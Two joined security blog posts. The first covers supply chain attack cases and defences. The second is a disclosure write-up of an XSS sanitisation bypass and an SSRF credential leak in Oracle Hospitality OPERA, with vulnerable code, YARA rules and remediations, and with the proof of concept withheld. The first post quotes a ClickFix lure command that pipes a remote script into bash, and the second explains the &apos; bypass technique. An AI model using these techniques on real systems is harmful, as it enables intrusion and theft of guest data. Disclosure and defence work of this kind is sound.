Supply Chain As the Perimeter

The perimeter is dead — and the supply chain buried it.

Just over a month ago, we were invited by the Cyber Security and Technology Crime Bureau (CSTCB) of the Hong Kong Police Force to share our views on supply chain attacks with the industry.

Whilst ransomware and email compromise remain common intrusion vectors, our reflection on the past year of incidents flags a consistently emerging pattern; organisations are comparatively more prepared in responding to these ‘internal’ -type incidents.

Responding to an incident is not just about identifying the root cause and closing the ticket. What matters equally — sometimes more — is guiding the business back to safe operations and putting practical controls in place to prevent the next one. That is the part that rarely gets written about. This post is our attempt to change that.

We ask one question: when an attack enters through a trusted third party, how different does the response need to be?

Part 1: How We Got Here

A Timeline of Supply Chain Exploitation

Supply chain exploitation is not a new technique. What has changed in recent years however, is the surface area, the speed, and the stealth.

The canonical playbook — compromise a managed service provider (MSP), trojanise a software update, fan out to the customer base — dates back to at least 2013. ASUS Live Update (2019). SolarWinds SUNBURST (2020). Kaseya VSA (2021). 3CX (2023). XZ Utils (2024). The list is long, and it keeps growing.

What has changed is the target profile. Attackers are no longer just going after MSPs and software vendors. They are targeting the productivity tools your developers trust implicitly, the AI assistants with access to your code and cloud credentials, and the API integrations quietly holding your customers’ data. The software update mechanism is now just one of many trusted channels that can be weaponised.

YearIncidentWhy It Mattered
2017NotPetyaWeaponised software update — no malicious traffic before detonation; lateral movement was complete before EDR fired.
2020SolarWindsSUNBURST backdoor mimicked legitimate telemetry; dwell time ~14 months.
2021Log4jA logging library embedded invisibly in thousands of applications; no file drop, no binary.
2023X_TRADER / 3CXSupply chain attack feeding a second supply chain attack; binary was legitimately signed and widely whitelisted.
2024Xz-utilsBackdoor introduced over months by a credible contributor; caught only by an engineer noticing unusual SSH performance. Zero security alerts.
2024Salesloft DriftOAuth tokens stolen from a SaaS integration; attacker walked into Salesforce with a pre-authorised token — no failed login alerts.
2025Shai-Hulud / NPMSelf-propagating malware distributed via compromised NPM accounts; installed by a routine npm install.
2025Notepad++ BackdoorAPT Lotus Blossom compromised the software update path; binary was signed, installer was legitimate.
2026Exposed API KeysGoogle Cloud keys exposed publicly; abuse looked like legitimate API usage, detected only on a billing spike.
2026OpenClawMalicious agent skills execute inside a trusted AI process with user-level privileges; no clear boundary between normal and malicious activity.
2026CPUIDThe official website for the software product compromised to deliver an installer that delivers malware.

The Attack Surface Has Expanded

Initial access no longer requires compromising your perimeter directly. Incidents increasingly originate from a user workstation – or from infrastructure entirely outside your environment. The traditional model of “breach perimeter → move laterally” has been replaced by something harder to detect: “arrive pre-authorised → operate normally.”

As we have learnt working with clients across the region, these are scenarios most organisations are not prepared to detect, contain, or communicate.

VectorDescription
SaaS IntegrationsOver-privileged OAuth tokens; shadow connections no one audits
Software DependenciesMalicious packages in NPM, PyPI, Maven
Open-Source EcosystemsSystemic vulnerabilities in foundational libraries
CI/CD PipelinesCompromised build runners and GitHub Actions workflows
External API RelianceUnmanaged API tokens scattered across developer machines and repositories
Human/Contractor AccessExternal staff with privileged internal access, outside your MDM and training programme Software vendors that host business data outside of the environment
AI/LLM ToolsModel poisoning, malicious agent skills, prompt injection

Part 2: Six Cases From the Ground

The following six cases are drawn directly from our operations over the past twelve months. Some are incidents we responded to. Others surfaced through continuous threat intelligence operations. In every one, the entry point was a trusted third party – and in every one, existing assumptions about detection failed in at least one important way.

Case 1: The Docker Registry That Should Not Have Been There

During a routine sweep of exposed internet infrastructure, we found a vendor’s Docker registry — publicly accessible, no authentication required — had been misconfigured and left open. The repository names made the client relationships immediately obvious: they referenced client names and internal project codenames. The kind of naming convention that only makes sense if you are working inside the organisation.

What we found was operational infrastructure: environment configurations, secrets, and AWS credentials with sufficient privilege for full environment access — with pivot paths reaching the vendor’s downstream clients. Based on the data, we could not determine how long the registry had been exposed. Neither did the vendor. Determining whether a threat actor had already found and exploited it took the affected clients substantial effort to investigate.

What we learnt:

  • Discovery came from external threat intelligence, not internal detection. The affected clients had no telemetry that would have surfaced this.
  • Vendors are routinely excluded from security assessment scope. Their infrastructure — registries, toolchains, dev environments — is a blind spot by default.
  • Vendor access to your environment creates an obligation to monitor their security posture, not just their SLA performance.

If your vendor’s environment was breached right now, how long would it take you to find out?

Case 2: API Key Exposure — When the Bill Is the Alert

The first signal was not a security alert. It was a billing notification.

An organisation’s AI service costs had spiked without explanation. When they investigated, it was found that an API key had been exposed in a public GitHub repository for over a week. Needless to say, a threat actor took it for various purposes.

The key was rotated immediately. But the harder questions were : is it possible to detect this, and who is going to pay?

What we learnt:

  • The breach was discovered through a financial anomaly, not a security control. Without the cost spike, no one would have noticed.
  • Determining the scope of what a stolen key accessed is significantly harder than rotating it. Baselining normal API usage before an incident is not optional.
  • An organisation that cannot enumerate its API keys cannot determine the blast radius when one is stolen.

If your organisation suffered an AI API key exposure today, how long would it take you to find it — and how would you determine what was accessed?

Case 3: Third-Party Data on the Dark Web — Fear as a Product

Through our continuous dark web monitoring, we identified a post on a threat actor forum listing what appeared to be data belonging to one of our clients.

We downloaded and analysed the sample. Our client began tracing the data’s origin and eventually found that the data had come from a campaign website a vendor had built using the client’s static information. The site was just scraped, and nothing sensitive had been exposed.

On a threat actor forum, that distinction does not appear in the listing.

What we learnt:

  • The dark web is a market for fear as much as for data. Anyone can claim a breach. The burden of proof falls on the victim to disprove it — not on the threat actor to prove it.
  • The data transfer to the vendor was authorised. The vendor’s decision to publish it on an unmanaged public site was not. That distinction carries legal and reputational weight — but threat actor forums do not make it.
  • Fast triage matters. Same-day detection allowed us to scope and close the case quickly. Without it, the client would have faced weeks of uncertainty.

Do you know what public-facing infrastructure your vendors have built using your data — and who is responsible for reviewing it?

Case 4: Notepad++ — A Trusted Channel, Weaponised

In February 2026, Notepad++ confirmed what threat hunters had suspected: APT Lotus Blossom — a threat actor with a long history of targeting Southeast Asian government and critical infrastructure — had compromised the application’s software update mechanism.[1]

The mechanics were clean. A legitimate NSIS installer delivered a malicious DLL (log.dll), sideloaded by a renamed Bitdefender component (BluetoothService.exe). The binary made outbound connections to a C2 IP address that had appeared in prior Lotus Blossom campaigns — but without active correlation against current telemetry, that history was invisible.

From a security operations standpoint, this means a targeted threat hunting for affected machines, we were hunting for legitimately signed, whitelisted software — approximately the worst possible hunting surface.

What we learnt:

  • Signed binaries arriving through trusted update channels are not, by themselves, evidence of integrity. Behavioural detection — unexpected process spawns, novel outbound connections, new persistence mechanisms — is the only reliable signal.
  • Known-malicious IOCs are only useful if matched against current telemetry. Archiving threat intelligence that is never operationalised is not threat intelligence.
  • Nation-state supply chain compromises targeting enterprise software are not edge cases. They are a persistent, structural risk that demands persistent, structural detection.

Case 5: Salesforce — The Database of Databases

Salesforce is not how most organisations think about their crown jewels. But consider what it actually contains: structured records of customers, pipeline, contracts, and — via integrations — potentially data from every system your sales and service teams touch. Then consider that Salesforce is federated into a significant share of most organisations’ vendor ecosystems.

When intelligence on a major Salesforce-related breach campaign emerged, we did not wait for vendor notification. We ran OSINT and threat hunting against the confirmed victim list, cross-referenced it against our clients’ vendor relationships and Salesforce exposure, and flagged downstream risk directly to affected clients — often before they had heard anything from the affected vendors themselves.

The access mechanism was OAuth token theft. No failed logins. No brute-force signal. No password reset. The attacker arrived pre-authorised, using a credential that looked exactly like every other legitimate session.

What we learnt:

  • OAuth token theft is authentication-transparent. The only detection surface is behavioural: unusual geolocations, access at atypical hours, unexpected data exports.
  • The downstream notification burden from a SaaS breach can extend well beyond the directly affected organisation. If a vendor’s Salesforce held your customers’ data, the notification obligation may fall on you.
  • Proactive OSINT and threat hunting — not vendor notification — was how our clients first learnt of their exposure. Do not assume the vendor will tell you first.

Which of your SaaS integrations hold your customers’ data — and would you know within 24 hours if an OAuth token for one of them was stolen?

Case 6: InstallFix — When the AI Tool Is the Threat

The ClickFix lure is perhaps the perfect phishing scenario for an uninformed user : a browser-based prompt, visually indistinguishable from legitimate installation documentation, instructing them to run a command in their terminal.

The result was an infostealer deployed directly from the user’s workstation. No perimeter control fired. No binary arrived from a remote attacker. The user executed it themselves.

The technique is not new — ClickFix has been observed as a delivery mechanism since at least 2024. What has changed is the targeting. Threat actors are now building convincing lookalike sites specifically for the AI developer tools engineers trust most: Cursor, Claude Code, GitHub Copilot. The install commands are often indistinguishable from the real documentation:

    curl https://backdoored-claude.lol/install.sh | bash

This is not a failure of endpoint detection. It is deliberate exploitation of user trust in documented install patterns. The lure succeeds precisely because it looks exactly like the real thing.

What we learnt:

  • ClickFix lures succeed by precisely mimicking legitimate install flows. “Don’t click suspicious links” is insufficient when the lure is indistinguishable from official documentation.
  • AI tools are routinely granted extensive permissions — files, email, calendar, code repositories, cloud credentials — making them high-value targets for initial access, whether through credential theft or malicious installation.
  • Policy lag is itself an attack surface. If your organisation has not defined which AI tools are permitted and how they should be installed, employees will use whatever they find — and follow the instructions they find.

If an employee ran a malicious AI tool installer today, how quickly would your SOC detect it — and how would you know which credentials and data to treat as compromised?

Part 3: How We Need to Respond Differently

Our Existing Assumptions Are Broken

Every case above had one thing in common: trusted entry point. A signed update package, a legitimate API key, an authorised data transfer, an OAuth token, or an installation documentation that told the user to do it.

In every case, the detection that mattered was behavioural — not signature-based. In some, it was external threat intelligence: we found the exposure before the attacker did, or before the organisation knew. Dwell time across these cases ranged from the same day to over fourteen months.

This demands a different posture. Not just different tools — different assumptions.

Control — Know What Is Actually In Your Ecosystem

You cannot protect what you cannot enumerate. Start with a living inventory of:

  • All third-party code dependencies, including transitive ones
  • All SaaS applications with access to your environment
  • All OAuth integrations — including the shadow ones your IT team does not know about
  • All AI tools your employees are using — sanctioned and unsanctioned
  • All contractor and vendor access, including dormant accounts
  • All API keys in active use, and what they can access

Apply data-based risk tiering: classify vendors by blast radius (what data and systems they can reach), not just compliance paperwork. Ask your highest-tier vendors to demonstrate their supply chain controls — not just sign an attestation.

Then run the 24-hour test: could you determine, within 24 hours, whether a specific vendor had been breached and what data they hold? If the answer is no, that is your first priority.

Visibility — Seeing Through Trusted Channels

The single most common gap we find is the absence of baselines. You cannot alert on anomalies you have never defined. Before writing detection rules, establish what normal looks like for:

  • Third-party authentication — geographies, timing, volume
  • API key usage — call patterns, geolocations, scope, timing
  • OAuth token behaviour — which integrations access what, when, and from where
  • Data egress through SaaS and AI channels — volume, destination, timing

Response — What If the Vendor Is the Problem?

Most incident response playbooks assume a clean model: external attacker crosses the perimeter, response team contains and eradicates. Supply chain incidents break this. The vendor is not the responder — the vendor is part of the blast radius.

New playbooks are required:

  • Credential rotation at scale: If a vendor is compromised, every credential they could have touched needs rotation — across all systems, within hours. Have you tested this? Do you know how long it takes?
  • Vendor access suspension with continuity planning: If you need to cut off a vendor immediately, what breaks? What is the fallback? These decisions should be made in advance, not under pressure.
  • Post-compromise ecosystem audit: Trigger on suspicion — not confirmation. Assume lateral movement until proven otherwise.

Run the tabletop: your most critical SaaS provider calls to say they were breached last month. Who picks up the phone? What happens in the first hour? If you have not rehearsed it, you do not know the answer.

Conclusion: The Perimeter Is Not Coming Back

The six cases above are not exceptional. They are representative.

Supply chain attacks are now the dominant initial access vector across the incidents we respond to — not because the techniques are new, but because defenders have not caught up to the reality that the perimeter no longer defines the boundary of trust. Trusted channels are the attack surface. Third-party access is the entry point. Dwell time is measured in months.

We posit that as these forms of attacks will rise exponentially, particularly as threat actors increasingly leverage AI to facilitate their attacks. AI-assisted tooling is already beginning to automate what previously required significant reconnaissance effort — mapping vendor relationships, identifying integration gaps, surfacing over-privileged third-party access at scale. Whilst this is yet to materialise at scale, we anticipate the scale and speed of these attacks will change rapidly as new model releases emerge.

The organisations that are best positioned are not the ones with the most controls. They are the ones that know exactly what is in their ecosystem, have baselined normal behaviour, and have rehearsed their response to a vendor compromise — before it happens.

The supply chain is the perimeter now. It is time to defend it like one.

Recommendations

Preventive

  • Ecosystem inventory: Maintain a living inventory of all third-party code dependencies, SaaS applications, OAuth integrations, AI tools, and contractor access.
  • API key governance: Implement pre-commit hooks to prevent secrets entering repositories; enforce short TTLs and automatic rotation; audit keys in active use regularly.
  • Vendor risk tiering: Classify vendors by blast radius (data access and connectivity scope), not just compliance status.
  • SaaS OAuth audit: Review all connected applications for scope, last-used date, and whether the business use case still exists. Revoke shadow integrations.
  • AI tool policy: Define explicitly which AI tools are permitted and what permissions they hold. Review agent skill marketplaces for scope creep.

Detective

  • Baseline trusted channels: Establish normal third-party behaviour — authentication geographies, API call volumes, data egress patterns, OAuth token usage — before writing detection rules.
  • Endpoint monitoring post-update: Alert on unexpected process spawns, outbound connections, or persistence mechanisms established by signed update agents.
  • API key and OAuth anomalies: Alert on keys used from new IPs, ASNs, or geographies; volume spikes; usage outside agreed business hours.
  • Data egress monitoring: Alert on new external destinations in proxy/DNS logs; volume spikes to cloud storage; data leaving through AI API channels.
  • Dark web monitoring: Monitor for your organisation, key vendors, and contractors appearing in threat actor forums, credential dumps, or sale listings.
  • Supply chain threat intelligence: Subscribe to feeds tracking software supply chain compromises, exposed repositories, and malicious package reports. Map intelligence to your actual dependency inventory.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

When Hospitality Software is Too Hospitable: an XSS Filter Bypass and a Curious SSRF in Oracle Hospitality OPERA (CVE-2026-21966, CVE-2026-21967)

Last autumn, while a typhoon hammered against the hotel windows, our offensive specialist found themselves locked into a different kind of storm – a pentest that refused to stay routine. What began as a run-of-the-mill exercise quickly spiralled into yet another thrilling adventure of vulnerability disclosure.

This writeup walks through DarkLab’s discovery of a Cross-Site Scripting (XSS) sanitization bypass and a powerful Server-Side Request Forgery (SSRF) vulnerability in Oracle’s OPERA product.[1]

Overview

CVE-2026-21966 – Reflected XSS in Oracle OPERA
CVSS v4.0: 5.1 /  MEDIUM  / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Description: A reflected cross-site scripting (XSS) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to deliver social engineering attacks and execute client-side code in the victim’s browser.
CVE-2026-21967 – SSRF and Credential Disclosure in Oracle OPERA
CVSS v4.0: 8.7 / HIGH  / CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L
Description: A server-side request forgery (SSRF) vulnerability has been identified in Oracle Hospitality OPERA 5, versions at and below 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4, 5.6.28.0. Attackers can leverage the vulnerability to disclose database credentials, invoke POST requests on arbitrary URLs, and enumerate internal networks. The compromised database accounts are used by the OPERA system for business operations and are thus configured with read/write privileges. This may lead to further disclosure of personally-identifiable information (PII) or disruption of business operations if the attacker has access to the database port.

Globally, we observed over 500 Internet-facing Oracle OPERA instances:

Background

Oracle Hospitality OPERA 5 is a Property Management System (PMS) for hotels and resorts, managing core operations like check-ins, reservations, and room allocation — while also offering tools for sales, catering, revenue management, and guest personalization. As such, you would not be surprised to see hotel receptionists and customer support at large chains using this software to handle their everyday operations.

Our testing workstation was a registered OPERA Terminal accessed through a browser. Once login is completed and a tool is selected from the menu, a Java applet pops up.

Figure 1: Sample OPERA login interface

CVE-2026-21966: Reflected XSS and Sanitization Bypass

The Road to XSS

In OPERA, HTTP requests are handled by Java servlets, which are classes with doGet and/or doPost methods. Inside OperaLogin.war, we discovered the OperaPrint servlet which accepts GET requests via a doGet method.

public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// [...]
try {
String execute = Utility.sanitizeParameter(request.getParameter("ex"));
// [...]
if (execute.equals("INIT")) {
initPrint(request, response, /* ... */);
}
} catch (Exception e) {
logException(e, replog, appServerStr);
}
}

Listing 2: This Java servlet handles a GET request and accepts an ex parameter.

By following the taint trail, we see the data is concatenated with other HTML strings and embedded in the HTTP response, wrapped with single quotes.

private void initPrint(
HttpServletRequest request,
HttpServletResponse response, /* ... */)
throws IOException {
// [...]
String newquery = setParam(
Utility.sanitizeParameterString(request.getQueryString()),
"ex",
"START");
// [...]
String newurl = "/OperaLogin/OperaPrint?" + newquery;
// [...]
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html ...>");
out.println("<html>");
out.println("<head>");
out.println("...");
out.println("</head>");
// [...]
out.println("<body onload=\"InitPrint( '" + newurl + "' , '" + winname + "' )\"/>");
out.println("</html>");
out.close();
}

Listing 3: The URL query is reused and concatenated into HTML output.

This provides a trail for reflected XSS. However, the astute would notice that the code sanitizes user input using Utility.sanitizeParameterString. Some people would probably stop here, but let’s Try Harder™. What does this function actually do? Can you spot the flaw? (Please say yes.)

public static String sanitizeParameterString(String ret) {
if (JavaUtils.isNullOrEmpty(new String[] { ret }))
return ret;
String openTag = "=";
String closeTag = "&";
boolean flagProcessing = true;
int currentTagPosition = 0;
if (ret != null && ret.length() > 0) {
while (flagProcessing) {
int openTagPosition = ret.toLowerCase().indexOf("=", currentTagPosition);
int closeTagPosition = ret.toLowerCase()
.indexOf("&", openTagPosition + "=".length());
if (openTagPosition != -1) {
String param;
SanitationMessage<String> sMessage = new SanitationMessage<String>("");
if (closeTagPosition != -1) {
param = _sanitizeParameter( // <-- Line 901
ret.substring(openTagPosition + "=".length(), closeTagPosition),
sMessage
);
} else {
param = _sanitizeParameter( // <-- Line 906
ret.substring(openTagPosition + "=".length()),
sMessage
);
}
currentTagPosition = openTagPosition + "=".length() + param.length();
if (closeTagPosition != -1) {
ret = ret.substring(0, openTagPosition + "=".length())
+ param
+ ret.substring(closeTagPosition);
continue;
}
ret = ret.substring(0, openTagPosition + "=".length()) + param;
continue;
}
flagProcessing = false;
}
}
return ret;
}

Notice in lines 901 and 906 that _sanitizeParameter is called on a substring. However, the string is extracted starting from the equal sign (=), up to the next ampersand (&; closeTagPosition) or until the end of the string (if closeTagPosition is not found). In other words, only the parameter value is extracted for sanitization. The parameter name is not sanitized.

This means the sanitization function could be bypassed using a query parameter such as /path?'name=value.

(Un)Fortunately, while such a payload may succeed on older or lesser-known browsers, it fails to bypass modern browser filters, which will automatically URL-encode the single quote ' to %27 before firing the HTTP request.

Despite this roadblock, we were able to bypass the sanitization function and browser protection with an alternative method.

A More Robust Sanitization Bypass

We used another trick, which is to use a HTML-entity &apos; instead of the single-quote literal. Normally, this trick would not work if the payload was reflected inside <script> tags. But in the context of a HTML attribute such as onload="...", the &apos; entity is treated as a literal quote, allowing us to escape the string context and run arbitrary JavaScript from the browser.

CVE-2026-21967: SSRF and Credential Disclosure

An SSRF is a vulnerability where an attacker tricks a web application into making unauthorized, unintended, or forged requests to internal or external resources. Attackers may exploit SSRFs to call privileged endpoints or exfiltrate sensitive data placed in cookies, headers, and parameters.

By reviewing yet another Java servlet (OperaServlet), we discovered a parameter named urladdress. This by itself is a huge code smell.

public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException, UnsupportedEncodingException {
PrintWriter out = response.getWriter();
// [...]
cmd = Utility.sanitizeParameter(request.getParameter("cmd"));
urladdr = Utility.sanitizeParameter(request.getParameter("urladdress"));
// [...]
userid = StringValue[0];
// [...]
if (cmd.equalsIgnoreCase("runreport")) {
callreport(userid, /* ... */, urladdr, out);
}
}

Listing 4: Servlet contains a urladdress parameter.

Following the taint trail, we arrived at the callreport function. This function opens a URL connection to an attacker-controlled address and returns any data received.

private void callreport(
String userid, /* ... */
String urladdress, PrintWriter out) {
DataOutputStream outstr = null;
BufferedReader in = null;
try {
urlparams = "userid=" + userid + /* ... */;
String myAddress = urladdress;
URL myUrl = new URL(myAddress);
URLConnection con = myUrl.openConnection();
con.setDoInput(true);
con.setDoOutput(true);
con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
outstr = new DataOutputStream(con.getOutputStream());
outstr.writeBytes(urlparams);
outstr.flush();
outstr.close();
in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
out.println(inputLine);
in.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
// [...]
}
}

We were able to confirm the SSRF vulnerability by testing on a local port with netcat listening, then an online webhook service. Notably, we found that plaintext database credentials could be disclosed when a specific parameter is provided.

Figure 5: Left- Attacker-controlled server which receives the SSRF request. Credentials are disclosed in the dbuser/dbpswd@dbschema format. Such hospitality! Right- The crafted request was sent through curl.
Figure 6: Same demonstration but using an online webhook site to demonstrate the remote nature and exploitability.
Figure 7: We were able to enumerate and login to the database server using sqlplus.

In addition to demonstrating remote exploitability, Figure 6 also shows that the HTTP response from the target server (in this case, webhook[.]site) is reflected. An attacker can abuse this by disclosing information on subsequent systems.

We verified these credentials by enumerating the OPERA database host and connecting with sqlplus, an SQL client for Oracle Database. A few seconds later, we’re in!

Inside the database, it was possible to view room allocations, customer names, and emails, among other details.

Impact

CVE-2026-21966: Reflected XSS

Attackers can induce victims to run arbitrary client-side JavaScript, compromising confidentiality and integrity of the victims’ browser session. Attackers can exploit this to proxy through the victim’s browser and potentially perform authenticated requests to Oracle OPERA or other systems on behalf of the victim. This may allow attackers to establish a foothold on the internal network through a social engineering attack.

CVE-2026-21967: SSRF and Credential Disclosure

We have identified multiple impacts for CVE-2026-21967:

  1. Credential Disclosure; Potential Database Access and Customer Information Disclosure. Most concerningly, successful exploitation could lead to the disclosure of database credentials which are used by OPERA for business operations, enabling unauthorized read/write access to the database and password spraying of the corporate network.
  2. POST Request SSRF. By convention, POST requests are used to modify, create, or delete data. In general, they are used to perform more complex tasks compared to GET requests. An SSRF with the capability to send POST requests tends to be more dangerous as it may trigger these complex behaviors, which potentially include disrupting subsequent systems, modifying application data, or exploiting other vulnerabilities.
  3. Social-Engineering Attacks. Since the HTTP output is attacker controllable, it is possible to deliver arbitrary HTML. Attackers can abuse the trust of an OPERA domain to deliver malicious payloads which run in a victim’s browser.
  4. Enumerate Internal Network. An attacker can enumerate the internal network by port scanning or observing the HTTP response, which is reflected from the subsequent system. (This is your typical SSRF impact.) Figure 8 shows the enumeration of common Windows ports (135, 3389) in addition to various Oracle ports.
Figure 8: Sample impact: enumerate ports on the localhost machine.

Proof of Concept

During our discovery of CVE-2026-21966 and CVE-2026-21967, we successfully developed a Proof-of-Concept (POC) for both flaws. However, given the sensitivity of CVE‑2026‑21967 in particular, we have chosen not to release these POCs publicly.

Are you susceptible?

You can follow these steps to verify your Oracle Hospitality OPERA version:

  1. Login to OPERA.
  2. Select any tool. The version should be displayed in the window title.
  3. For detailed version information, select the rightmost “Help” tab.

If you believe you are susceptible to CVE-2026-21966 and/or CVE-2026-21967 and are seeking additional details, please do not hesitate to contact us directly for further guidance.

Remediations

  1. Upgrade to the latest versions of Oracle Hospitality OPERA.
  2. Apply network segmentation between the internal network and Oracle Hospitality OPERA services.
  3. Limit outbound traffic to suspicious sites and domains. Ideally, whitelist allowed destinations.
  4. Do not expose Oracle Hospitality OPERA to the public internet.

Detection Opportunities

In addition, we strongly recommend continuous monitoring of Oracle Hospitality OPERA instances for potential indicators of attack, such as unusual incoming HTTP requests containing Cross-Site Scripting (XSS)  payloads or unauthorized data modification. Further, we advise Web Application Firewall (WAF) coverage for Oracle Hospitality OPERA 5 deployments exposed to the internet to detect/block common XSS payloads.

YARA Rule:

rule CVE_2026_21966
{
meta:
description = "Detection of CVE-2026-21966"
author = "PwC DarkLab"
date = "2026-02"
reference = "CVE-2026-21966"
severity = "medium"
strings:
$path = "OperaPrint" ascii nocase
$apos_entity = "&apos" ascii nocase
condition:
$path and $apos_entity
}
rule CVE_2026_21967
{
meta:
description = "Detection of CVE-2026-21967"
author = "PwC DarkLab"
date = "2026-02"
reference = "CVE-2026-21967"
severity = "high"
strings:
$path = "OperaServlet" ascii nocase
$status = " 200 " ascii
$a = /o.*?p.*?e.*?r.*?a.*?d.*?s/i
$b = /urladdress\s*?=.*?h.*?t.*?t.*?p.*?.*?:/i
condition:
$path and
$status and
$a and $b
}

Save the above file as rules.yar and run the following on your Oracle Application Server. By default, the logs are stored in D:\ORA\user_projects\domains\OperaOHSDomain\servers\ohs1\logs.

Get-ChildItem -Path "D:\ORA\user_projects\domains\OperaOHSDomain\servers\ohs1\logs\access_log*" | ForEach-Object { .\yara64.exe rules.yar $_.FullName }

Conclusion

We hope you enjoyed this walk through of our team’s discovery of CVE-2026-21966 and CVE-2026-21967 in Oracle Hospitality OPERA 5 – a widely deployed property management system essential to hotel operations. As earlier mentioned, to protect our clients and the broader hospitality industry, we intentionally omitted the Proof-of-Concept and highly technical information that could otherwise be abused by malicious actors to weaponize these vulnerabilities.

The most severe, a Server-Side Request Forgery (SSRF) with a high CVSS v4.0 score of 8.7, allows attackers to disclose sensitive database credentials, potentially leading to unauthorized access to vast amounts of guest Personally Identifiable Information (PII) like names, emails, and room allocations. This could also enable internal network enumeration and operational disruption.

This risk is profoundly amplified in the hospitality sector, where open Wi-Fi networks potentially introduce avenues to infiltrate the internal network; therefore, merely restricting public internet access for OPERA systems is insufficient. Robust network segmentation, immediate patching, and comprehensive security controls are absolutely critical to safeguard customer data, maintain business continuity, and protect brand reputation.

General Best Practices

To effectively safeguard critical systems like Oracle Hospitality OPERA and the sensitive data they manage, organizations must adopt a comprehensive, multi-layered security strategy. Beyond specific vulnerability patches and remediation advice, the following best practices are crucial for maintaining a strong security posture:

Robust Patch and Vulnerability Management:

  • Timely Updates: Establish and enforce a rigorous process for promptly applying security patches and updates to all operating systems, applications (including Property Management Systems), databases, and network devices.
  • Active Attack Surface Management (ASM): Continuously discover, inventory, and assess all internet-facing assets and their potential vulnerabilities. This should include regular penetration testing and security audits by independent third parties to identify weaknesses before attackers do.

Network Segmentation and Isolation:

  • Isolate Critical Systems: Implement strict network segmentation to logically separate critical systems (e.g., OPERA servers, database servers) from less trusted networks, such as guest Wi-Fi, corporate office networks, and other non-essential segments.
  • Zero Trust Principles: Apply Zero Trust principles, ensuring that no user, device, or application is inherently trusted, regardless of its location. All access requests must be authenticated, authorized, and continuously validated.
  • Strict Egress Filtering: Implement outbound firewall rules to limit critical systems’ ability to connect to arbitrary external or internal destinations. Whitelist only absolutely necessary connections to prevent data exfiltration and command-and-control communications.

Enhanced Security Monitoring and Incident Response:

  • 24×7 Security Operations Centre (SOC): Leverage a 24×7 Security Operations Center (SOC) for continuous monitoring of security logs, network traffic, and system behaviour. This enables rapid detection of anomalous behaviour and indicators of compromise (IOCs).
  • Advanced Threat Detection: Deploy Intrusion Detection/Prevention Systems (IDS/IPS), Security Information and Event Management (SIEM) systems, and Endpoint Detection and Response (EDR) solutions to provide deep visibility and automated threat response capabilities.
  • Incident Response Plan: Develop, regularly test through tabletop exercises and simulations, and refine a comprehensive incident response plan to ensure rapid detection, containment, eradication, and recovery from security breaches.

Principle of Least Privilege and Strong Authentication:

  • Role-Based Access Control (RBAC): Implement granular Role-Based Access Control (RBAC) to ensure that users and system accounts only have the minimum necessary permissions to perform their assigned functions.
  • Multi-Factor Authentication (MFA): Enforce Multi-Factor Authentication (MFA) for all administrative access, remote access, and privileged user accounts across all critical systems to significantly reduce the risk of credential compromise.
  • Credential Management: Implement strong password policies, regularly rotate credentials, and securely manage secrets, avoiding hardcoded or easily discoverable credentials within code or configuration files.

Secure Development and Configuration:

  • Secure Coding Practices: For custom applications or integrations, ensure developers adhere to secure coding guidelines, including robust input validation and output encoding to prevent common web vulnerabilities like Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF).
  • Hardening Baselines: Apply secure configuration baselines to all operating systems, databases, and applications, disabling unnecessary services, features, and default accounts.

Data Protection and Resilience:

  • Encryption: Encrypt sensitive data at rest (e.g., database encryption, disk encryption) and in transit (e.g., TLS for all communications) to protect it from unauthorized access.
  • Regular Backups: Implement a robust, tested, and isolated backup and recovery strategy for all critical data and system configurations to ensure business continuity and data availability in the event of a compromise or disaster.

Timeline

  • Sept. 19, 2025. Discovered first issue (Reflected XSS, now tracked as CVE-2026-21966).
  • Oct. 12, 2025. Discovered second issue (SSRF and Credential Disclosure, now tracked as CVE-2026-21967).
  • Oct. 20, 2025. Vulnerability report sent to Oracle Security Alerts.
  • Jan. 15, 2026. Pre-release announcement by Oracle.
  • Jan. 20, 2026. Public disclosure by Oracle.
  • Feb. 13, 2026. Technical writeup and disclosure by PwC DarkLab HK.

Acknowledgements

Special thanks to the Oracle Security Alerts team for coordinated disclosure. For more information about recent vulnerabilities affecting Oracle Hospitality, please read the advisory published by Oracle: https://www.oracle.com/security-alerts/cpujan2026.html.

Further Information

We are committed to protecting our clients and the wider community against the latest threats through our dedicated research and the integrated efforts of our red team, blue team, incident response, and threat intelligence capabilities. Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.